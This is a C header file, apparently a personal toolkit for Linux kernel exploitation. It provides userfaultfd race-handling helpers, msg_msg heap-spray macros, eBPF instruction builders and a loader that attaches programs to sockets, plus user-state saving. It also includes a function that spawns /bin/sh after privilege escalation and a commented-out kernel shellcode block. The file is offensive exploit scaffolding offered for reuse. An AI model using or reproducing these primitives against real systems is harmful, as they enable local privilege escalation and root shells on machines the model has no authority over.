text: #ifndef SKB_EXPLOIT_H
  #define SKB_EXPLOIT_H
  
  #define _GNU_SOURCE
  #include <string.h>
  #include <stdio.h>
  #include <fcntl.h>
  #include <stdint.h>
  #include <unistd.h>
  #include <assert.h>
  #include <stdlib.h>
  #include <signal.h>
  #include <poll.h>
  #include <pthread.h>
  #include <err.h>
  #include <errno.h>
  #include <sched.h>
  #include <linux/bpf.h>
  #include <linux/filter.h>
  #include <linux/userfaultfd.h>
  //#include <linux/prctl.h>
  #include <sys/syscall.h>
  #include <sys/ipc.h>
  #include <sys/msg.h>
  #include <sys/prctl.h>
  #include <sys/ioctl.h>
  #include <sys/mman.h>
  #include <sys/types.h>
  #include <sys/xattr.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <sys/uio.h>
  #include <sys/shm.h>
  #include <linux/netfilter.h>
  #include <linux/userfaultfd.h>
  #include <netinet/in.h>
  #include <sys/mman.h>
  
  /*********** constants ******************/
  
  #define PAGE 0x1000 // for more precise, use sysconf
  #define ulong unsigned long
  #define scu static const unsigned long
  #define DATALEN_MSG	((size_t)PAGE-0x30)
  #define DATALEN_SEG	((size_t)PAGE-0x8)
  // (END constants)
  
  /*********** utils ******************/
  
  #define rep_(i, a_, b_, a, b, ...) for (int i = (a), i##_len = (b); i < i##_len; ++i)
  #define rep(i, ...) rep_(i, __VA_ARGS__, __VA_ARGS__, 0, __VA_ARGS__)
  #define WAIT getc(stdin);
  #define NULL (void *)0
  #define errExit(msg)    \
    do                    \
    {                     \
      perror(msg);        \
      exit(EXIT_FAILURE); \
    } while (0)
  #define KMALLOC(qid, msgbuf, N)                                     \
    for (int ix = 0; ix != N; ++ix)                                   \
    {                                                                 \
      if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
        errExit("KMALLOC");                                           \
    }
  ulong user_cs, user_ss, user_sp, user_rflags;
  
  void hexdump(char *buf, unsigned size) {
    for (int ix = 0; ix != size; ++ix) {
      printf("%x ", (unsigned char)buf[ix]);
      if (ix % 8 == 0 && ix != 0) puts("");
    }
    puts("");
  }
  
  struct pt_regs
  {
    ulong r15;
    ulong r14;
    ulong r13;
    ulong r12;
    ulong bp;
    ulong bx;
    ulong r11;
    ulong r10;
    ulong r9;
    ulong r8;
    ulong ax;
    ulong cx;
    ulong dx;
    ulong si;
    ulong di;
    ulong orig_ax;
    ulong ip;
    ulong cs;
    ulong flags;
    ulong sp;
    ulong ss;
  };
  
  void print_regs(struct pt_regs *regs)
  {
    printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
    printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
    printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
    printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
    printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
  }
  
  void NIRUGIRI(void)
  {
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
  }
  
  // should compile with -masm=intel
  static void save_state(void)
  {
    asm(
        "movq %0, %%cs\n"
        "movq %1, %%ss\n"
        "movq %2, %%rsp\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
        :
        : "memory");
  }
  
  //static void shellcode(void)
  //{
  //  asm(
  //      "xor rdi, rdi\n"
  //      "mov rbx, QWORD PTR [rsp+0x50]\n"
  //      "sub rbx, 0x244566\n"
  //      "mov rcx, rbx\n"
  //      "call rcx\n"
  //      "mov rdi, rax\n"
  //      "sub rbx, 0x470\n"
  //      "call rbx\n"
  //      "add rsp, 0x20\n"
  //      "pop rbx\n"
  //      "pop r12\n"
  //      "pop r13\n"
  //      "pop r14\n"
  //      "pop r15\n"
  //      "pop rbp\n"
  //      "ret\n");
  //}
  // (END utils)
  
  /*********** UFFD ******************/
  
  struct skb_uffder
  {
    char *name;
    long uffd;
    ulong base;
    ulong num_page;
    char *cpy_src;
    pthread_t thr;
    ulong watch_mode;
    void (*fault_handler)(ulong);
  };
  
  struct skb_uffder *new_skb_uffder(ulong base, ulong num_page, char *cpy_src, void (*fault_handler)(ulong), char *name, ulong watch_mode)
  {
    struct skb_uffder *uffder = (struct skb_uffder*)calloc(sizeof(struct skb_uffder), 1);
    assert(uffder != NULL);
    uffder->base = base;
    uffder->num_page = num_page;
    uffder->cpy_src = cpy_src;
    uffder->fault_handler = fault_handler;
    uffder->watch_mode = watch_mode;
  
    size_t namelen = strlen(name);
    assert(namelen != 0);
    char *namebuf = (char*)calloc(namelen + 0x10, 1);
    strcpy(namebuf, name);
    uffder->name = namebuf;
    return uffder;
  }
  
  int skb_uffd_is_inited(struct skb_uffder *uffder)
  {
    assert(uffder != NULL);
    return uffder->base != 0 && uffder->num_page != 0 && uffder->cpy_src != NULL && uffder->fault_handler != NULL && strlen(uffder->name) > 0;
  }
  
  static void *skb_uffd_fault_wrapper(void *arg)
  {
    struct skb_uffder *uffder = (struct skb_uffder *)arg;
    long uffd = uffder->uffd;
    static struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    struct pollfd pollfd;
    int nready;
    printf("[%s] entered fault_handler_thread\n", uffder->name);
  
    // set poll information
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
  
    // wait for poll
    printf("[%s] polling...\n", uffder->name);
    while (poll(&pollfd, 1, -1) > 0)
    {
      if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
        errExit("poll");
  
      // read an event
      if (read(uffd, &msg, sizeof(msg)) <= 0)
        errExit("read event");
  
      if (msg.event != UFFD_EVENT_PAGEFAULT)
        errExit("unexpected pagefault");
  
      printf("[!%s] page fault @ %p\n", uffder->name, (void *)msg.arg.pagefault.address);
  
      // Now, another thread is halting. Do my business.
      uffder->fault_handler(msg.arg.pagefault.address);
  
      // copy customized page into faulted page
      printf("[%s] copying from %p to faulted page.\n", uffder->name, (void *)uffder->cpy_src);
      uffdio_copy.src = (ulong)uffder->cpy_src;
      uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
      uffdio_copy.len = uffder->num_page * PAGE;
      uffdio_copy.mode = 0;
      if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
        errExit("ioctl-UFFDIO_COPY");
  
      break;
    }
  
    printf("[%s] exiting fault_handler_thrd\n", uffder->name);
  }
  
  void skb_uffd_start(struct skb_uffder *uffder, void (*prehook)(void *))
  {
    assert(skb_uffd_is_inited(uffder) == (1==1));
    printf("[%s] registering uffd-visor.\n", uffder->name);
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
  
    uffder->uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffder->uffd == -1)
    {
      errExit("userfaultfd");
    }
  
    // enable uffd object via ioctl(UFFDIO_API)
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffder->uffd, UFFDIO_API, &uffdio_api) == -1)
      errExit("ioctl-UFFDIO_API");
  
    // mmap
    printf("[%s] mmapping...\n", uffder->name);
    void *addr = mmap((void *)uffder->base, uffder->num_page * PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
    printf("[%s] mmapped @ %p - %p\n", uffder->name, addr, addr + uffder->num_page * PAGE);
    if (addr == MAP_FAILED || (ulong)addr != uffder->base)
      errExit("mmap");
  
    // before starting supervisor, do pre-hooked action on that page
    if (prehook != NULL)
      prehook(addr);
  
    // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
    uffdio_register.range.start = (ulong)addr;
    uffdio_register.range.len = uffder->num_page * PAGE;
    uffdio_register.mode = uffder->watch_mode;
    if (ioctl(uffder->uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
      errExit("ioctl-UFFDIO_REGISTER");
  
    int s = pthread_create(&uffder->thr, NULL, skb_uffd_fault_wrapper, (void *)uffder);
    if (s != 0)
    {
      errno = s;
      errExit("pthread_create");
    }
  
    printf("[%s] registered uffd visor.\n", uffder->name);
  }
  
  // (END) UFFD
  
  /*********** eBPF utils ******************/
  #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
  #define BPF_REG_ARG1 BPF_REG_1
  #define BPF_REG_ARG2 BPF_REG_2
  #define BPF_REG_ARG3 BPF_REG_3
  #define BPF_REG_ARG4 BPF_REG_4
  #define BPF_REG_ARG5 BPF_REG_5
  #define BPF_REG_CTX BPF_REG_6
  #define BPF_REG_FP BPF_REG_10
  
  #define BPF_LD_IMM64_RAW(DST, SRC, IMM)            \
    ((struct bpf_insn){                              \
        .code = BPF_LD | BPF_DW | BPF_IMM,           \
        .dst_reg = DST,                              \
        .src_reg = SRC,                              \
        .off = 0,                                    \
        .imm = (__u32)(IMM)}),                       \
        ((struct bpf_insn){                          \
            .code = 0, /* zero is reserved opcode */ \
            .dst_reg = 0,                            \
            .src_reg = 0,                            \
            .off = 0,                                \
            .imm = ((__u64)(IMM)) >> 32})
  #define BPF_LD_MAP_FD(DST, MAP_FD) \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
  #define BPF_LDX_MEM(SIZE, DST, SRC, OFF)          \
    ((struct bpf_insn){                             \
        .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
        .dst_reg = DST,                             \
        .src_reg = SRC,                             \
        .off = OFF,                                 \
        .imm = 0})
  #define BPF_MOV64_REG(DST, SRC)            \
    ((struct bpf_insn){                      \
        .code = BPF_ALU64 | BPF_MOV | BPF_X, \
        .dst_reg = DST,                      \
        .src_reg = SRC,                      \
        .off = 0,                            \
        .imm = 0})
  #define BPF_ALU64_IMM(OP, DST, IMM)           \
    ((struct bpf_insn){                         \
        .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
        .dst_reg = DST,                         \
        .src_reg = 0,                           \
        .off = 0,                               \
        .imm = IMM})
  #define BPF_ALU32_IMM(OP, DST, IMM)         \
    ((struct bpf_insn){                       \
        .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
        .dst_reg = DST,                       \
        .src_reg = 0,                         \
        .off = 0,                             \
        .imm = IMM})
  #define BPF_STX_MEM(SIZE, DST, SRC, OFF)          \
    ((struct bpf_insn){                             \
        .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
        .dst_reg = DST,                             \
        .src_reg = SRC,                             \
        .off = OFF,                                 \
        .imm = 0})
  #define BPF_ST_MEM(SIZE, DST, OFF, IMM)          \
    ((struct bpf_insn){                            \
        .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
        .dst_reg = DST,                            \
        .src_reg = 0,                              \
        .off = OFF,                                \
        .imm = IMM})
  #define BPF_EMIT_CALL(FUNC)       \
    ((struct bpf_insn){             \
        .code = BPF_JMP | BPF_CALL, \
        .dst_reg = 0,               \
        .src_reg = 0,               \
        .off = 0,                   \
        .imm = (FUNC)})
  #define BPF_JMP_REG(OP, DST, SRC, OFF)      \
    ((struct bpf_insn){                       \
        .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
        .dst_reg = DST,                       \
        .src_reg = SRC,                       \
        .off = OFF,                           \
        .imm = 0})
  #define BPF_JMP_IMM(OP, DST, IMM, OFF)      \
    ((struct bpf_insn){                       \
        .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
        .dst_reg = DST,                       \
        .src_reg = 0,                         \
        .off = OFF,                           \
        .imm = IMM})
  #define BPF_EXIT_INSN()           \
    ((struct bpf_insn){             \
        .code = BPF_JMP | BPF_EXIT, \
        .dst_reg = 0,               \
        .src_reg = 0,               \
        .off = 0,                   \
        .imm = 0})
  #define BPF_LD_ABS(SIZE, IMM)                    \
    ((struct bpf_insn){                            \
        .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
        .dst_reg = 0,                              \
        .src_reg = 0,                              \
        .off = 0,                                  \
        .imm = IMM})
  #define BPF_ALU64_REG(OP, DST, SRC)           \
    ((struct bpf_insn){                         \
        .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
        .dst_reg = DST,                         \
        .src_reg = SRC,                         \
        .off = 0,                               \
        .imm = 0})
  #define BPF_MOV64_IMM(DST, IMM)            \
    ((struct bpf_insn){                      \
        .code = BPF_ALU64 | BPF_MOV | BPF_K, \
        .dst_reg = DST,                      \
        .src_reg = 0,                        \
        .off = 0,                            \
        .imm = IMM})
  
  int bpf_(int cmd, union bpf_attr *attrs)
  {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
  }
  
  int array_create(int value_size, int num_entries)
  {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = value_size,
        .max_entries = num_entries};
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
      err(1, "map create");
    return mapfd;
  }
  
  int array_update(int mapfd, uint32_t key, uint64_t value)
  {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (uint64_t)&key,
        .value = (uint64_t)&value,
        .flags = BPF_ANY,
    };
    return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
  }
  
  int array_update_big(int mapfd, uint32_t key, char *value)
  {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (uint64_t)&key,
        .value = (ulong)value,
        .flags = BPF_ANY,
    };
    return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
  }
  
  unsigned long get_ulong(int map_fd, uint64_t idx)
  {
    uint64_t value;
    union bpf_attr lookup_map_attrs = {
        .map_fd = map_fd,
        .key = (uint64_t)&idx,
        .value = (uint64_t)&value};
    if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
      err(1, "MAP_LOOKUP_ELEM");
    return value;
  }
  
  int prog_load(struct bpf_insn *insns, size_t insns_count)
  {
    char verifier_log[100000];
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = insns_count,
        .insns = (uint64_t)insns,
        .license = (uint64_t) "GPLv2",
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log};
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    int errno_ = errno;
    printf("==========================\n%s==========================\n", verifier_log);
    errno = errno_;
    if (progfd == -1)
      err(1, "prog load");
    return progfd;
  }
  
  int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count)
  {
    int progfd = prog_load(insns, insns_count);
  
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
      err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
      err(1, "setsockopt");
    return socks[1];
  }
  
  void trigger_proc(int sockfd)
  {
    if (write(sockfd, "X", 1) != 1)
      err(1, "write to proc socket failed");
  }
  // (END eBPF utils)
  
  void print_curious(char *buf, ulong buf_size, ulong omit) {
    assert((ulong)buf % 8 == 0);
    rep(ix, buf_size / 8) {
      ulong val = *(ulong*)(buf + ix * 8);
      if (val != omit) printf("[0x%lx] 0x%08lx\n", (ulong)ix, val);
    }
  }
  
  #endif
  